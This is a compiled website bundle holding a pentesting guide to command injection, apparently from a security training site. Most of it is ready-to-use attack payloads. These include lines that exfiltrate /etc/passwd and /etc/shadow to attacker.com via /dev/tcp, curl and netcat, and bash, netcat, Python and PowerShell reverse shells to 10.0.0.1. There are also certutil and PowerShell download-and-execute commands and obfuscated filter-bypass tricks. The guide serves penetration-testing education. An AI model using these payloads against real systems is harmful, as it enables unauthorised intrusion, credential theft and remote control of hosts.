1"use strict";(self.webpackChunkhackviser_website=self.webpackChunkhackviser_website||[]).push([[22912],{43888:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>d,contentTitle:()=>c,default:()=>h,frontMatter:()=>a,metadata:()=>o,toc:()=>l});var t=s(17624),i=s(4552);const a={title:"Command Injection Attack Guide",sidebar_label:"Command Injection",description:"Learn how to test and exploit command injection vulnerabilities including detection, attack methods and post-exploitation techniques."},c="Command Injection",o={id:"pentesting/web/command-injection",title:"Command Injection Attack Guide",description:"Learn how to test and exploit command injection vulnerabilities including detection, attack methods and post-exploitation techniques.",source:"@site/tactics/pentesting/web/command-injection.md",sourceDirName:"pentesting/web",slug:"/pentesting/web/command-injection",permalink:"/tactics/pentesting/web/command-injection",draft:!1,unlisted:!1,tags:[],version:"current",frontMatter:{title:"Command Injection Attack Guide",sidebar_label:"Command Injection",description:"Learn how to test and exploit command injection vulnerabilities including detection, attack methods and post-exploitation techniques."},sidebar:"pentestingSidebar",previous:{title:"Pentesting Tactics",permalink:"/tactics/pentesting/"},next:{title:"CORS Misconfiguration",permalink:"/tactics/pentesting/web/cors-misconfiguration"}},d={},l=[{value:"How It Works",id:"how-it-works",level:2},{value:"Detection",id:"detection",level:2},{value:"Manual Testing",id:"manual-testing",level:3},{value:"Command Separator Tests",id:"command-separator-tests",level:4},{value:"Command Substitution Tests",id:"command-substitution-tests",level:4},{value:"Newline Injection Tests",id:"newline-injection-tests",level:4},{value:"OS Detection Tests",id:"os-detection-tests",level:4},{value:"Out-of-Band Tests",id:"out-of-band-tests",level:4},{value:"Time-Based Tests",id:"time-based-tests",level:4},{value:"Automated Discovery",id:"automated-discovery",level:3},{value:"Using Nuclei",id:"using-nuclei",level:4},{value:"Attack Vectors",id:"attack-vectors",level:2},{value:"Direct Command Execution",id:"direct-command-execution",level:3},{value:"Command Substitution",id:"command-substitution",level:3},{value:"Data Exfiltration",id:"data-exfiltration",level:3},{value:"Reverse Shell Payloads",id:"reverse-shell-payloads",level:3},{value:"Basic Reverse Shells",id:"basic-reverse-shells",level:4},{value:"Windows Reverse Shells",id:"windows-reverse-shells",level:4},{value:"Bypass Techniques",id:"bypass-techniques",level:2},{value:"Blacklist Bypass",id:"blacklist-bypass",level:3},{value:"Space Bypass",id:"space-bypass",level:3},{value:"Environment Variable Bypass",id:"environment-variable-bypass",level:3},{value:"Path Bypass",id:"path-bypass",level:3},{value:"Filter Evasion",id:"filter-evasion",level:3},{value:"Character Encoding Bypass",id:"character-encoding-bypass",level:3},{value:"Common Tools",id:"common-tools",level:2}];function r(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.M)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.h1,{id:"command-injection",children:"Command Injection"}),"\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.strong,{children:"Command Injection"})," is a web security vulnerability that allows an attacker to execute arbitrary system commands on the host operating system. This vulnerability occurs when an application passes unsafe user supplied data to a system shell."]}),"\n",(0,t.jsx)(n.h2,{id:"how-it-works",children:"How It Works"}),"\n",(0,t.jsx)(n.p,{children:"Command injection occurs when an application executes system commands that include user-supplied data without proper sanitization. For example, in the code:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-php",children:"<?php\n$cmd = 'ping -c 4 ' . $_GET['host'];\nsystem($cmd);\n?>\n"})}),"\n",(0,t.jsxs)(n.p,{children:["An attacker might input: ",(0,t.jsx)(n.code,{children:"8.8.8.8; ls -la"}),", changing the command to:"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"ping -c 4 8.8.8.8; ls -la\n"})}),"\n",(0,t.jsx)(n.p,{children:"This executes both the ping command and lists directory contents."}),"\n",(0,t.jsx)(n.h2,{id:"detection",children:"Detection"}),"\n",(0,t.jsx)(n.h3,{id:"manual-testing",children:"Manual Testing"}),"\n",(0,t.jsx)(n.h4,{id:"command-separator-tests",children:"Command Separator Tests"}),"\n",(0,t.jsx)(n.p,{children:"Used to chain multiple commands together. Tests if the application properly sanitizes command separators:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# Semicolon (;) - Command sequencing\ncommand1;command2 # Executes commands sequentially\nping 127.0.0.1;id # Executes ping, then id\necho test;whoami # Outputs test, then username\n\n# Ampersand (&) - Backgroun
1d processing\ncommand1&command2 # Executes both commands in background\nping 127.0.0.1&dir # Starts ping and immediately runs dir\nwhoami&hostname # Runs both commands simultaneously\n\n# Double Ampersand (&&) - Conditional execution\ncommand1&&command2 # Executes command2 only if command1 succeeds\nping 127.0.0.1&&whoami # Runs whoami only if ping succeeds\ncd /tmp&&ls -la # Lists directory only if cd succeeds\n\n# Pipe (|) - Output redirection\ncommand1|command2 # Sends output of command1 to command2\nwhoami|tr a-z A-Z # Converts username to uppercase\nls -la|grep root # Lists files and filters for 'root'\n"})}),"\n",(0,t.jsx)(n.h4,{id:"command-substitution-tests",children:"Command Substitution Tests"}),"\n",(0,t.jsx)(n.p,{children:"Tests if the application allows command output to be used as input:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# Backtick (`) substitution\n`command` # Classic command substitution\necho `whoami` # Outputs result of whoami\nping `hostname` # Pings the result of hostname\n\n# Dollar substitution\n$(command) # Modern command substitution\necho $(id) # Outputs result of id\ncat $(locate passwd) # Reads files found by locate\n\n# Nested substitution\n$(echo `whoami`) # Nested classic in modern\n`echo $(hostname)` # Nested modern in classic\n"})}),"\n",(0,t.jsx)(n.h4,{id:"newline-injection-tests",children:"Newline Injection Tests"}),"\n",(0,t.jsx)(n.p,{children:"Tests if the application properly handles line breaks in commands:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# URL encoded newlines\ncommand1%0acommand2 # %0a represents \\n\nping%0aid # Executes ping, then id on new line\nwhoami%0als # Runs whoami, then ls\n\n# Carriage return injection\ncommand1%0dcommand2 # %0d represents \\r\necho test%0dcat /etc/passwd # Potentially bypasses filters\n"})}),"\n",(0,t.jsx)(n.h4,{id:"os-detection-tests",children:"OS Detection Tests"}),"\n",(0,t.jsx)(n.p,{children:"Identifies target operating system using specific commands:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# Windows specific commands\nver # Shows Windows version\nsysteminfo # Detailed system information\ntype C:\\Windows\\System32\\drivers\\etc\\hosts # Reads hosts file\nnet user # Lists users\ndir C:\\ # Lists root directory\n\n# Linux specific commands\nuname -a # Kernel and system information\ncat /etc/issue # Distribution information\ncat /proc/version # Kernel version information\nlsb_release -a # Distribution details\ncat /etc/passwd # User account information\n"})}),"\n",(0,t.jsx)(n.h4,{id:"out-of-band-tests",children:"Out-of-Band Tests"}),"\n",(0,t.jsx)(n.p,{children:"Tests command injection through external interaction detection:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# DNS based detection\nnslookup uniquestring.attackerdomain.com # Generates DNS lookup\nping uniquestring.attackerdomain.com # ICMP based detection\ndig uniquestring.attackerdomain.com # DNS query tool\n\n# HTTP based detection\nwget http://attacker.com/uniquestring # Generates HTTP GET\ncurl http://attacker.com/uniquestring # Alternative HTTP request\npowershell IEX(New-Object Net.WebClient).downloadString('http://attacker.com') # PowerShell web request\n"})}),"\n",(0,t.jsx)(n.h4,{id:"time-based-tests",children:"Time-Based Tests"}),"\n",(0,t.jsx)(n.p,{children:"Verifies command execution through time delays:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'# Linux delay commands\nping -c 10 127.0.0.1 # 10 second delay using ping\nsleep 10 # Direct delay command\nperl -e "sleep 10" # Perl based delay\npython -c "import time; time.sleep(10)" # Python delay\n\n# Windows delay commands\nping -n 10 127.0.0.1 # Windows ping delay\ntimeout 10 # Windows timeout command\nStart-Sleep -s 10 # PowerShell sleep\n'})}),"\n",(0,t.jsx)(n.h3,{id:"automated-discovery",children:"Automated Discovery"}),"\n",(0,t.jsx)(n.h4,{id:"using-nuclei",children:"Using Nuclei"}),"\n",(0,t.jsxs)(n.p,{children:["To learn how to use Nuclei in detail, you can go to our related tactic page by ",(0,t.jsx)(n.a,{href:"https://hackviser.com/tactics/tools/nuclei",children:"click here"}),"."]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# Run command injection templates\nnuclei -u http://target.com -t cmd-injection/\n\n# Ru
1n with custom templates\nnuclei -u http://target.com -t custom-cmd.yaml\n\n# Severity based scanning\nnuclei -u http://target.com -t cmd-injection/ -severity critical,high\n"})}),"\n",(0,t.jsx)(n.h2,{id:"attack-vectors",children:"Attack Vectors"}),"\n",(0,t.jsx)(n.h3,{id:"direct-command-execution",children:"Direct Command Execution"}),"\n",(0,t.jsx)(n.p,{children:"Basic command injection techniques that directly execute commands:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# Linux commands\n; cat /etc/passwd\n; ls -la /\n; id\n; pwd\n\n# Windows commands\n& dir C:\\\n& type C:\\Windows\\System32\\drivers\\etc\\hosts\n& whoami\n& net user\n"})}),"\n",(0,t.jsx)(n.h3,{id:"command-substitution",children:"Command Substitution"}),"\n",(0,t.jsx)(n.p,{children:"Using command substitution to execute commands and return output:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# Backtick syntax\n`id`\n`whoami`\n`cat /etc/passwd`\n\n# Dollar syntax\n$(id)\n$(whoami)\n$(cat /etc/passwd)\n\n# Nested execution\n$(echo `whoami`)\n`echo $(id)`\n"})}),"\n",(0,t.jsx)(n.h3,{id:"data-exfiltration",children:"Data Exfiltration"}),"\n",(0,t.jsx)(n.p,{children:"Methods to extract data from the system:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# File reading\n$(cat /etc/passwd > /dev/tcp/attacker.com/4444)\n; base64 /etc/shadow | curl -d @- http://attacker.com\n\n# System enumeration\n; find / -perm -4000 2>/dev/null\n; netstat -an | nc attacker.com 4444\n"})}),"\n",(0,t.jsx)(n.h3,{id:"reverse-shell-payloads",children:"Reverse Shell Payloads"}),"\n",(0,t.jsx)(n.h4,{id:"basic-reverse-shells",children:"Basic Reverse Shells"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'# Bash reverse shell\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n\n# Netcat reverse shell\nnc -e /bin/sh 10.0.0.1 4444\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f\n\n# Python reverse shell\npython -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'\n'})}),"\n",(0,t.jsx)(n.h4,{id:"windows-reverse-shells",children:"Windows Reverse Shells"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-powershell",children:'# PowerShell reverse shell\npowershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\n\n# Certutil download and execute\ncertutil -urlcache -split -f http://10.0.0.1/shell.exe C:\\Windows\\Temp\\shell.exe && C:\\Windows\\Temp\\shell.exe\n'})}),"\n",(0,t.jsx)(n.h2,{id:"bypass-techniques",children:"Bypass Techniques"}),"\n",(0,t.jsx)(n.h3,{id:"blacklist-bypass",children:"Blacklist Bypass"}),"\n",(0,t.jsx)(n.p,{children:"Used when specific commands or characters are blacklisted:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# Command obfuscation\nw'h'o'am'i\nw\"h\"o\"am\"i\n\\w\\h\\o\\a\\m\\i\n\n# Alternative commands\n# Instead of: cat /etc/passwd\nhead /etc/passwd\ntail /etc/passwd\nless /etc/passwd\nmore /etc/passwd\n\n# Character substitution\n$(rev<<<'imaohw') # whoami reversed\n$(printf \"whoami\")\n"})}),"\n",(0,t.jsx)(n.h3,{id:"space-bypass",children:"Space Bypass"}),"\n",(0,t.jsx)(n.p,{children:"Used when spaces are filtered:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# IFS variable\ncat${IFS}/etc/passwd\ncat$IFS/etc/passwd\n{cat,/etc/passwd}\n\n# Line feed/Tabs\ncat</etc/passwd\ncat$'\\x20'/etc/passwd\n\n# Brace exp
1ansion\n{cat,/etc/passwd}\nX=$'cat\\x20/etc/passwd'&&$X\n"})}),"\n",(0,t.jsx)(n.h3,{id:"environment-variable-bypass",children:"Environment Variable Bypass"}),"\n",(0,t.jsx)(n.p,{children:"Using environment variables to hide commands:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'# Variable substitution\nCOMMAND=whoami\n$COMMAND\n\n# Base64 encoding\necho "Y2F0IC9ldGMvcGFzc3dk"|base64 -d|bash\nexport CMD="Y2F0IC9ldGMvcGFzc3dk";bash<<<$(base64 -d<<<$CMD)\n\n# Hex encoding\nbash<<<$(xxd -r -p<<<776863616D69) # whoami in hex\n'})}),"\n",(0,t.jsx)(n.h3,{id:"path-bypass",children:"Path Bypass"}),"\n",(0,t.jsx)(n.p,{children:"Using different paths to execute commands:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# Absolute paths\n/usr/bin/whoami\n/bin/cat /etc/passwd\n\n# Path variable manipulation\nPATH=/usr/bin;cat /etc/passwd\nPATH=$PATH:/usr/bin;whoami\n\n# Binary locations\nwhich ls|xargs /bin/ls\nlocate whoami|head -n1|xargs\n"})}),"\n",(0,t.jsx)(n.h3,{id:"filter-evasion",children:"Filter Evasion"}),"\n",(0,t.jsx)(n.p,{children:"Advanced techniques to evade security filters:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:'# Command concatenation\n\'cat\'</etc/passwd\n"w"h"o"a"m"i\n\n# Wildcard usage\n/???/??t /??c/p??s??\n/bin/c?t /etc/p?ssw?\n\n# Using aliases\nalias ls=whoami;ls\n\n# Double encoding\n$(echo -e "\\x77\\x68\\x6f\\x61\\x6d\\x69") # whoami in hex\n'})}),"\n",(0,t.jsx)(n.h3,{id:"character-encoding-bypass",children:"Character Encoding Bypass"}),"\n",(0,t.jsx)(n.p,{children:"Different encoding methods to bypass filters:"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"# URL encoding\ncurl$IFS-X$IFS'GET'$IFS\"http://attacker.com\"\n\n# Unicode encoding\n\u3388\u3389\u338a\u338b\u338c\u338d\u338e # Using Unicode lookalikes\n\n# HTML encoding\nwhoami # whoami in HTML entities\n"})}),"\n",(0,t.jsx)(n.h2,{id:"common-tools",children:"Common Tools"}),"\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{children:"Tool"}),(0,t.jsx)(n.th,{children:"Description"}),(0,t.jsx)(n.th,{children:"Primary Use Case"})]})}),(0,t.jsxs)(n.tbody,{children:[(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{children:"Commix"}),(0,t.jsx)(n.td,{children:"Automated command injection tool"}),(0,t.jsx)(n.td,{children:"Discovery and exploitation"})]}),(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{children:"Burp Suite"}),(0,t.jsx)(n.td,{children:"Web vulnerability scanner"}),(0,t.jsx)(n.td,{children:"Traffic interception and testing"})]}),(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{children:"NetCat"}),(0,t.jsx)(n.td,{children:"Network utility"}),(0,t.jsx)(n.td,{children:"Reverse shell handling"})]}),(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{children:"Metasploit"}),(0,t.jsx)(n.td,{children:"Exploitation framework"}),(0,t.jsx)(n.td,{children:"Advanced payload delivery"})]}),(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{children:"PowerSploit"}),(0,t.jsx)(n.td,{children:"PowerShell post-exploitation"}),(0,t.jsx)(n.td,{children:"Windows command execution"})]})]})]})]})}function h(e={}){const{wrapper:n}={...(0,i.M)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(r,{...e})}):r(e)}},4552:(e,n,s)=>{s.d(n,{I:()=>o,M:()=>c});var t=s(11504);const i={},a=t.createContext(i);function c(e){const n=t.useContext(a);return t.useMemo((function(){return"function"==typeof e?e(n):{...n,...e}}),[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:c(e.components),t.createElement(a.Provider,{value:n},e.children)}}}]);
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.